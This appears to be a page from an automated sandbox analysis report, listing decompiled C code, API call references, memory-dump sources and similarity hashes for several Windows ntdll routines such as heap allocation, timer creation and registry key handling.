0x6ce0676f
0x6ce0677a
0x6ce06783
0x6ce61ad7
0x6ce06789
0x6ce06789
0x6ce06789
0x6ce0678e
0x6ce61aef
0x6ce61aef
0x6ce06797
0x6ce067a1
0x6ce067b1
0x6ce067b7
0x6ce067c0
0x6ce61b02
0x6ce61b02
0x6ce067c9
0x6ce61b10
0x6ce61b1c
0x6ce61b1c
0x6ce067d3
0x6ce067d3
0x6ce067dc
0x6ce067dd
0x6ce067de
0x6ce067e9

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6CE0674F
RtlGetCurrentServiceSessionId.1105(00000001), ref: 6CE0677C
RtlDebugPrintTimes.1105(?,?,?,?,00000001), ref: 6CE067B1
RtlGetCurrentServiceSessionId.1105 ref: 6CE067B9

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$DebugPrintTimes
String ID:
API String ID: 286911700-0
Opcode ID: 1d99088c071bf189aed7df158329980c2c597279f5cb9b70c032b72cd081945e
Instruction ID: fd57cddf1fa2b94128587003c5a2cc3ca648053e4569ced67ca0ee67f6e66124
Opcode Fuzzy Hash: 1d99088c071bf189aed7df158329980c2c597279f5cb9b70c032b72cd081945e
Instruction Fuzzy Hash: EC31BC35715A05AFD7029B65DA40B89BBB5FF86718F645119EC0087F60DB34E874CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE31DB5, Relevance: 6.1, APIs: 4, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E6CE31DB5(intOrPtr __ecx, void** __edx, long* _a4) {
				long _v8;
				intOrPtr _v12;
				void* _v16;
				void** _v20;
				void* _t22;
				long _t23;
				void* _t36;
				void* _t42;
				long _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = L6CE2F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					if(_t23 >  *_a4) {
						_t42 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(L6CE2F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x6ce31dc2
0x6ce31dc5
0x6ce31dc7
0x6ce31dcc
0x6ce31dce
0x6ce31dd6
0x6ce31ddf
0x6ce31de0
0x6ce31de1
0x6ce31de5
0x6ce31de8
0x6ce31def
0x6ce31df0
0x6ce31df6
0x6ce31df7
0x6ce31dfe
0x6ce31e1a
0x00000000
0x00000000
0x6ce31e0b
0x6ce31e12
0x6ce31e12
0x6ce31e00
0x6ce31e00
0x6ce31e05
0x6ce31e23
0x6ce7570f
0x6ce75713
0x00000000
0x00000000
0x6ce75719
0x6ce75719
0x6ce31e2c
0x6ce31e2d
0x6ce31e2e
0x6ce31e2f
0x6ce31e31
0x6ce31e32
0x6ce31e35
0x6ce31e3d
0x6ce75723
0x6ce7573d
0x6ce7573d
0x00000000
0x6ce75723
0x6ce31e49
0x6ce31e4e
0x6ce31e4e
0x6ce31e09
0x00000000

APIs

RtlQueryInformationActivationContext.1105(-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?,?,?,00000040,-00000054,00000000), ref: 6CE31DF7
RtlQueryInformationActivationContext.1105(-40000003,-00000054,00000000,00000006,00000000,00000000,00000000,-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?), ref: 6CE31E36

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContextInformationQuery
String ID:
API String ID: 2130846384-0
Opcode ID: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction ID: 23968532926cd256a6040ead2174a561e37b8684cd39be766771dba2b9b6c664
Opcode Fuzzy Hash: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction Fuzzy Hash: 8A217F71641229EBD711CF9ACC80F9BBBB9EF86648F21509DE90897750D735EE01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE318B9, Relevance: 6.1, APIs: 4, Instructions: 75
nativetimeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6CE318B9(intOrPtr __ecx, intOrPtr __edx, signed char _a4) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _t27;
				intOrPtr* _t37;
				intOrPtr _t42;
				intOrPtr* _t43;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t53;

				_t50 = __ecx;
				_v12 = __edx;
				_push(0x100002);
				_v16 = __ecx;
				_push(8);
				_push(0);
				_push(0);
				_t3 = _t50 + 0x10; // 0x58
				_t52 = _t3;
				 *((intOrPtr*)(__ecx)) = 0;
				_push(_t52);
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				_t27 = E6CE4A0D0();
				if(_t27 >= 0) {
					_push(0);
					_t7 = _t50 + 0x14; // 0x5c
					_push(1);
					_t42 = E6CE4A130();
					_v20 = _t42;
					if(_t42 < 0) {
						_push( *_t52);
						E6CE495D0();
						return _t42;
					}
					_t45 = _v12;
					_push( &_v5);
					_t12 = _t50 + 0x18; // 0x60
					_t43 = _t12;
					_push(_a4 & 0x000000ff);
					_push(0);
					_push(_t45 + 0x40);
					_push(_t43);
					_push( *_t52);
					_push( *((intOrPtr*)(_t45 + 0x28)));
					_push( *((intOrPtr*)(__ecx + 0x14)));
					E6CE49DE0();
					_t17 = _t50 + 0x3c; // 0x84
					_t53 = _t17;
					 *((intOrPtr*)(__ecx + 0x38)) = 0x6ce2af60;
					_t51 = __ecx + 0x40;
					E6CE2F194(_v12, _t53, _t51);
					_t47 = _v16;
					 *(_t47 + 0x2c) =  *(_t47 + 0x2c) & 0x00000000;
					_t22 = _t47 + 0x30; // 0x30
					_t37 = _t22;
					 *((intOrPtr*)(_t37 + 4)) = _t37;
					 *_t37 = _t37;
					 *((intOrPtr*)(_t47 + 0x1c)) =  *_t53;
					 *((char*)(_t47 + 0x20)) =  *_t51;
					 *_t43 = 0x6cde11f4;
					return _v20;
				}
				return _t27;
			}

0x6ce318c4
0x6ce318c6
0x6ce318c9
0x6ce318d0
0x6ce318d3
0x6ce318d5
0x6ce318d6
0x6ce318d7
0x6ce318d7
0x6ce318da
0x6ce318dc
0x6ce318dd
0x6ce318e0
0x6ce318e3
0x6ce318e6
0x6ce318ed
0x6ce318ef
0x6ce318f0
0x6ce318f3
0x6ce318fb
0x6ce318fd
0x6ce31902
0x6ce7568e
0x6ce75690
0x00000000
0x6ce75695
0x6ce31908
0x6ce3190e
0x6ce31913
0x6ce31913
0x6ce31916
0x6ce31917
0x6ce3191c
0x6ce3191d
0x6ce3191e
0x6ce31920
0x6ce31923
0x6ce31926
0x6ce3192e
0x6ce3192e
0x6ce31931
0x6ce3193a
0x6ce3193e
0x6ce31943
0x6ce31946
0x6ce3194a
0x6ce3194a
0x6ce3194d
0x6ce31950
0x6ce31954
0x6ce31959
0x6ce3195f
0x00000000
0x6ce3195f
0x6ce3196b

APIs

ZwCreateTimer2.1105(00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6CE318E6
ZwCreateWaitCompletionPacket.1105(0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6CE318F6
ZwAssociateWaitCompletionPacket.1105(?,00000000,00000058,00000060,?,00000000,?,?,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002), ref: 6CE31926
ZwClose.1105(00000058,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6CE75690

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CompletionCreatePacketWait$AssociateCloseTimer2
String ID:
API String ID: 56835937-0
Opcode ID: dfec34daadfd3b23b3ade6361699cd31cf5cb004131df07a50e31e6400516f3f
Instruction ID: 29eb8caac3b3ab721019a1d98ad7913c64f58b622d9cbb77f08b0962d865d6cf
Opcode Fuzzy Hash: dfec34daadfd3b23b3ade6361699cd31cf5cb004131df07a50e31e6400516f3f
Instruction Fuzzy Hash: 8E2171B160020ABFE710CF99C881E96BBB8FF49358F20816EE54497741D771E926CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE33B7A, Relevance: 6.1, APIs: 4, Instructions: 75
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6CE33B7A(void* __ecx) {
				long _v8;
				char _v12;
				intOrPtr _v20;
				void* _t35;
				void* _t38;
				long _t39;
				void* _t41;
				intOrPtr _t44;

				_t39 =  *0x6cef84c0 * 0x4c;
				_v12 = 1;
				_v8 = _t39;
				_t41 = __ecx;
				_t35 = RtlAllocateHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0x000c0000 | 0x00000008, _t39);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E6CE4AA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						memset( *(_t41 + 0x20), 0,  *0x6cef84c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _t35 + _v8) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _t35 + _v8);
							_t44 = _v20;
						}
					}
					RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000, _t35);
				}
				return _t44;
			}

0x6ce33b82
0x6ce33b96
0x6ce33ba1
0x6ce33bab
0x6ce33bb5
0x6ce33bb9
0x6ce76298
0x6ce33bbf
0x6ce33bc2
0x6ce33bc3
0x6ce33bc9
0x6ce33bca
0x6ce33bcc
0x6ce33bcd
0x6ce33bd4
0x6ce33bd6
0x6ce33bdb
0x6ce33bea
0x6ce33bf7
0x6ce33bfb
0x6ce33bff
0x6ce33c09
0x6ce33c0a
0x6ce33c0b
0x6ce33c0f
0x6ce33c14
0x6ce33c18
0x6ce33c18
0x6ce33bfb
0x6ce33c30
0x6ce33c30
0x6ce33c3d

APIs

RtlAllocateHeap.1105(?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6CE33BB0
ZwQuerySystemInformationEx.1105(0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6CE33BCF
memset.1105(6CE743AB,00000000,?,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6CE33BEA
RtlFreeHeap.1105(?,?,00000000,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6CE33C30

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeInformationQuerySystemmemset
String ID:
API String ID: 21860560-0
Opcode ID: 54a5ca1d555df1bd5fd6ce51ed3b519613e6feb91180cdea4f08dbe29e1a0874
Instruction ID: 2c4504ebc578e052d92120bd8242d553edce5faf052589805aca496ba3f7c3b3
Opcode Fuzzy Hash: 54a5ca1d555df1bd5fd6ce51ed3b519613e6feb91180cdea4f08dbe29e1a0874
Instruction Fuzzy Hash: 7E21D172A00118AFDB10CF58CD81F9AB7BDFB82708F250069E908AB651C371ED06CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE04DC0, Relevance: 6.1, APIs: 4, Instructions: 73
nativeCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6CE04DC0(intOrPtr __ecx, intOrPtr _a4) {
				void* _v8;
				char _v12;
				void* __ebp;
				intOrPtr _t11;
				void* _t12;
				void* _t14;
				char _t15;
				intOrPtr _t20;
				intOrPtr _t28;
				char _t29;

				_t20 = __ecx;
				_push(__ecx);
				_t28 = _a4;
				_t11 =  *((intOrPtr*)(_t28 + 0x10));
				if(_t11 == 0) {
					_t20 = _t28;
					_t11 = E6CE02E9F(_t20, 0);
				}
				if(_t11 != 0xffffffff) {
					_push("true");
					_push(_t11);
					_t12 = E6CE495C0();
				} else {
					asm("lock or [eax], ecx");
					_t4 = _t28 + 4; // 0x103
					_t20 = _t4;
					E6CE3DFDF(_t20, 0, 0);
					_t12 = 0;
				}
				if(_t12 < 0) {
					L6CE5DF30(_t20, 0, _t12);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t20);
					_push(_t28);
					_t29 = _v12;
					_t14 = E6CE04F2E(_t29, 0);
					if(_t14 != 0) {
						_t15 =  *((intOrPtr*)(_t29 + 0xac));
						_v12 = _t15;
						if(_t15 != 0) {
							_push("true");
							_push(4);
							_push( &_v12);
							_push(0xb);
							_push( *((intOrPtr*)(_t29 + 0xa8)));
							E6CE49D70();
						}
						_t8 = _t29 + 0x50; // 0x14f
						_t14 = E6CE39ED0(_t8, 0, 1);
					}
					return _t14;
				} else {
					return _t12;
				}
			}

0x6ce04dc0
0x6ce04dc5
0x6ce04dc7
0x6ce04dca
0x6ce04dcf
0x6ce04dfa
0x6ce04dfc
0x6ce04dfc
0x6ce04dd4
0x6ce60b56
0x6ce60b58
0x6ce60b59
0x6ce04dda
0x6ce04ddf
0x6ce04de3
0x6ce04de3
0x6ce04de8
0x6ce04ded
0x6ce04ded
0x6ce04df1
0x6ce04e04
0x6ce04e09
0x6ce04e0a
0x6ce04e0b
0x6ce04e0c
0x6ce04e0d
0x6ce04e0e
0x6ce04e0f
0x6ce04e15
0x6ce04e16
0x6ce04e17
0x6ce04e20
0x6ce04e27
0x6ce04e29
0x6ce04e2f
0x6ce04e34
0x6ce60b63
0x6ce60b65
0x6ce60b6a
0x6ce60b6b
0x6ce60b6d
0x6ce60b73
0x6ce60b73
0x6ce04e3c
0x6ce04e41
0x6ce04e41
0x6ce04e4a
0x6ce04df3
0x6ce04df7
0x6ce04df7

APIs

RtlWakeAddressAllNoFence.1105(00000000), ref: 6CE04DE8
RtlRaiseStatus.1105(00000000,?,?,?,6CE1EBD0,?,?,?,?,00000000,?,6CE01E03,?,6CE01D6E,?), ref: 6CE04E04
ZwAlpcQueryInformation.1105(?,0000000B,FFFFFFFE,00000004,00000000,00000000,000000FF,?,?,00000000,?,?,?,6CE1EBD0,?,?), ref: 6CE60B73

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressAlpcFenceInformationQueryRaiseStatusWake
String ID:
API String ID: 3812654406-0
Opcode ID: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction ID: 9a367eced00bc8de13674d582a6a2c6aed050931257ba3b3a8ba5bc46a3185c7
Opcode Fuzzy Hash: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction Fuzzy Hash: DE110131710304ABEB149A358D41FDB73BCDF51318F30811BA9259BE80EBB0EA15C2E4

Uniqueness

Uniqueness Score: -1.00%

Function 6CE43EE4, Relevance: 6.1, APIs: 4, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E6CE43EE4(void* __ecx, void* __edx) {
				char _v8;
				char _v20;
				void* _t51;
				intOrPtr* _t55;
				void* _t57;

				if( *0x6cef8644 != 0) {
					L4:
					return 1;
				}
				_t57 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x28);
				if(_t57 == 0) {
					L7:
					return 0;
				}
				if(E6CE43FA0( &_v8, 0x6cef65d4,  &_v20) < 0) {
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
					goto L7;
				}
				_t55 =  *((intOrPtr*)(_v8 + 0x10)) + _v8;
				_t51 =  *_t55 + _t55;
				 *((short*)(_t57 + 8)) =  *((intOrPtr*)(_t51 + 0x18));
				 *((short*)(_t57 + 0xc)) =  *((intOrPtr*)(_t51 + 0x16));
				 *((short*)(_t57 + 0xa)) =  *((intOrPtr*)(_t51 + 0x20));
				 *((short*)(_t57 + 0x24)) =  *((intOrPtr*)(_t51 + 0x1a));
				 *((intOrPtr*)(_t57 + 0x10)) =  *((intOrPtr*)(_t51 + 0x1c)) + _t55;
				 *((intOrPtr*)(_t57 + 0x14)) =  *((intOrPtr*)(_t51 + 0x24)) + _t55;
				 *((intOrPtr*)(_t57 + 0x18)) =  *((intOrPtr*)(_t51 + 0x28)) + _t55;
				 *((intOrPtr*)(_t57 + 0x1c)) =  *((intOrPtr*)(_t51 + 0x38)) + _t55;
				asm("lock cmpxchg [edx], ecx");
				if(0 != 0) {
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
				}
				goto L4;
			}

0x6ce43ef4
0x6ce43f91
0x00000000
0x6ce43f91
0x6ce43f0c
0x6ce43f10
0x6ce7e7d8
0x00000000
0x6ce7e7d8
0x6ce43f2a
0x6ce7e7d3
0x00000000
0x6ce7e7d3
0x6ce43f36
0x6ce43f3a
0x6ce43f40
0x6ce43f48
0x6ce43f50
0x6ce43f58
0x6ce43f61
0x6ce43f69
0x6ce43f71
0x6ce43f80
0x6ce43f85
0x6ce43f8b
0x6ce7e7eb
0x6ce7e7eb
0x00000000

APIs

RtlAllocateHeap.1105(?,00000008,00000028,?,?,6CE68546), ref: 6CE43F07
RtlGetLocaleFileMappingAddress.1105(00000000,6CEF65D4,6CE68546,?,00000008,00000028,?,?,6CE68546), ref: 6CE43F23

Part of subcall function 6CE43FA0: ZwInitializeNlsFiles.1105(00000028,00000008,?,?,?,00000000,?,6CE43F28,00000000,6CEF65D4,6CE68546,?,00000008,00000028,?), ref: 6CE43FCD

RtlFreeHeap.1105(?,00000000,00000000,00000000,6CEF65D4,6CE68546,?,00000008,00000028,?,?,6CE68546), ref: 6CE7E7D3
RtlFreeHeap.1105(?,00000000,00000000,00000000,6CEF65D4,6CE68546,?,00000008,00000028,?,?,6CE68546), ref: 6CE7E7EB

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$AddressAllocateFileFilesInitializeLocaleMapping
String ID:
API String ID: 1831200515-0
Opcode ID: e72a2cc8e63e7ca93f66ae94a826df9b280181301c3e31a35c9e366152a6c4c7
Instruction ID: 804f9f2f30a1f2731675cae3a95da68a031c3523330e658e8d4a56075b4e1e76
Opcode Fuzzy Hash: e72a2cc8e63e7ca93f66ae94a826df9b280181301c3e31a35c9e366152a6c4c7
Instruction Fuzzy Hash: CF219D39601A009FC725DF29C901B9677F5AF08708F2489ADE459CBB21E734E846CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6CE98372, Relevance: 6.1, APIs: 4, Instructions: 72
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6CE98372(intOrPtr* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				char _v24;
				char _v28;
				char _v32;
				void* _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t24;
				void* _t25;
				void* _t30;
				void* _t35;
				intOrPtr _t38;
				intOrPtr* _t45;
				signed int _t47;

				_t44 = __edx;
				_v8 =  *0x6cefd360 ^ _t47;
				_t24 = 0;
				_v32 = 1;
				_t38 = __edx;
				_v28 = 0;
				_t45 = __ecx;
				L1:
				L1:
				if(_t24 != 0) {
					_push(_t24);
					E6CE495D0();
				}
				_t25 = E6CE9874A( &_v24);
				_t46 = _t25;
				if(_t25 < 0) {
					goto L8;
				}
				_t30 = E6CE467A0( &_v24,  &_v40, 1);
				_t46 = _t30;
				if(_t30 >= 0) {
					_v64 = 0x18;
					_v56 =  &_v40;
					_v60 = _t38;
					_push( &_v32);
					_push(0);
					_push(0);
					_push(0);
					_v52 = 0x240;
					_push( &_v64);
					_push(_a4);
					_v48 = 0;
					_push( &_v28);
					_v44 = 0;
					_t35 = E6CE496D0();
					_t46 = _t35;
					RtlFreeUnicodeString( &_v40);
					if(_t35 >= 0) {
						_t24 = _v28;
						if(_v32 == 2) {
							goto L1;
						} else {
							 *_t45 = _t24;
						}
					}
				}
				L8:
				return E6CE4B640(_t46, _t38, _v8 ^ _t47, _t44, _t45, _t46);
			}

0x6ce98372
0x6ce98381
0x6ce98386
0x6ce98388
0x6ce98390
0x6ce98392
0x6ce98395
0x00000000
0x6ce98397
0x6ce98399
0x6ce9839b
0x6ce9839c
0x6ce9839c
0x6ce983a4
0x6ce983a9
0x6ce983ad
0x00000000
0x00000000
0x6ce983b9
0x6ce983be
0x6ce983c2
0x6ce983c7
0x6ce983ce
0x6ce983d6
0x6ce983d9
0x6ce983da
0x6ce983db
0x6ce983dc
0x6ce983e0
0x6ce983e7
0x6ce983e8
0x6ce983ee
0x6ce983f1
0x6ce983f2
0x6ce983f5
0x6ce983fa
0x6ce98400
0x6ce98407
0x6ce9840d
0x6ce98410
0x00000000
0x6ce98412
0x6ce98412
0x6ce98412
0x6ce98410
0x6ce98407
0x6ce98414
0x6ce98426

APIs

ZwClose.1105(00000000,?,00000000,00000000), ref: 6CE9839C
RtlStringFromGUIDEx.1105(?,?,00000001,?,00000000,00000000), ref: 6CE983B9
ZwCreateKey.1105(?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6CE983F5
RtlFreeUnicodeString.1105(?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6CE98400

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: String$CloseCreateFreeFromUnicode
String ID:
API String ID: 4294597832-0
Opcode ID: 88fd332cf762d258d55a19d640b597490e5f167ec8129af9febf3763d9cd9541
Instruction ID: c2bcf126eb9b8608852804e278c3f0bd8b27f098f9ff0db9e5860f504e70b964
Opcode Fuzzy Hash: 88fd332cf762d258d55a19d640b597490e5f167ec8129af9febf3763d9cd9541
Instruction Fuzzy Hash: 9C212FB1D0121DABDB14CFA5D8859EFB7B8EF04314F20416AE910F7710EB749E088BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0519E, Relevance: 6.1, APIs: 4, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E6CE0519E(struct _EXCEPTION_RECORD __ecx) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _t17;
				signed int _t18;
				char _t27;
				signed short _t32;
				struct _EXCEPTION_RECORD _t34;
				void* _t35;

				_t34 = __ecx;
				_t27 = 0;
				_t29 = 0;
				_t35 = E6CE052A5(0);
				if(_t35 == 0) {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_v12 =  *((intOrPtr*)(_t29 + 0x24));
					_t17 =  *((intOrPtr*)(_t29 + 0x28));
				} else {
					_v12 =  *((intOrPtr*)(_t35 + 0xc));
					_t17 =  *((intOrPtr*)(_t35 + 0x10));
				}
				_t32 = _v12;
				_v8 = _t17;
				_t18 =  *_t34 & 0x0000ffff;
				if(_t32 <= 6) {
					if(_t32 != _t18) {
						goto L4;
					}
					goto L10;
				} else {
					_t29 = (_t32 & 0x0000ffff) - 2;
					if((_t32 & 0x0000ffff) - 2 == _t18) {
						_v12 = _t32 + 0xfffe;
						L10:
						_t18 = RtlEqualUnicodeString( &_v12, _t34, 1);
						if(_t18 != 0) {
							_t27 = 1;
						}
					}
					L4:
					if(_t35 == 0) {
						E6CE1EB70(_t29, 0x6cef79a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t18 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t35 + 4)));
							E6CE495D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t35);
						}
					}
					return _t27;
				}
			}

0x6ce051a9
0x6ce051ab
0x6ce051ad
0x6ce051b4
0x6ce051b8
0x6ce60c9c
0x6ce60ca2
0x6ce60ca5
0x6ce051be
0x6ce051c1
0x6ce051c4
0x6ce051c4
0x6ce051c7
0x6ce051cb
0x6ce051ce
0x6ce051d5
0x6ce60cbe
0x00000000
0x00000000
0x00000000
0x6ce051db
0x6ce051de
0x6ce051e3
0x6ce60cb5
0x6ce60cc4
0x6ce60ccb
0x6ce60cd2
0x6ce60cd8
0x6ce60cd8
0x6ce60cd2
0x6ce051e9
0x6ce051eb
0x6ce60ce4
0x6ce051f1
0x6ce051f4
0x6ce051f8
0x6ce60cee
0x6ce60cf1
0x6ce60d03
0x6ce60d03
0x6ce051f8
0x6ce05206
0x6ce05206

APIs

Part of subcall function 6CE052A5: RtlEnterCriticalSection.1105(6CEF79A0,?,?,00000000,?,?,?,6CE051B4,?,?,?), ref: 6CE052BF
Part of subcall function 6CE052A5: RtlLeaveCriticalSection.1105(6CEF79A0,6CEF79A0,?,?,00000000,?,?,?,6CE051B4,?,?,?), ref: 6CE052DD

RtlEqualUnicodeString.1105(?,?,00000001,?,?,?), ref: 6CE60CCB
RtlLeaveCriticalSection.1105(6CEF79A0,?,?,?), ref: 6CE60CE4

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$EnterEqualStringUnicode
String ID:
API String ID: 4283003422-0
Opcode ID: fd01998e51bec266f22f14ffece14bf180459d035b6a030a298a00429cf06146
Instruction ID: c2dae5ad295ee93278f3f8954e308e2ef0171700199c2a739ca9b4dd62111929
Opcode Fuzzy Hash: fd01998e51bec266f22f14ffece14bf180459d035b6a030a298a00429cf06146
Instruction Fuzzy Hash: BF115935A82A119BCB208F29C440BEABBF5EF1671CF30012AE85597F80D731C852C794

Uniqueness

Uniqueness Score: -1.00%

Function 6CE33B5A, Relevance: 6.1, APIs: 4, Instructions: 51
memoryCOMMON

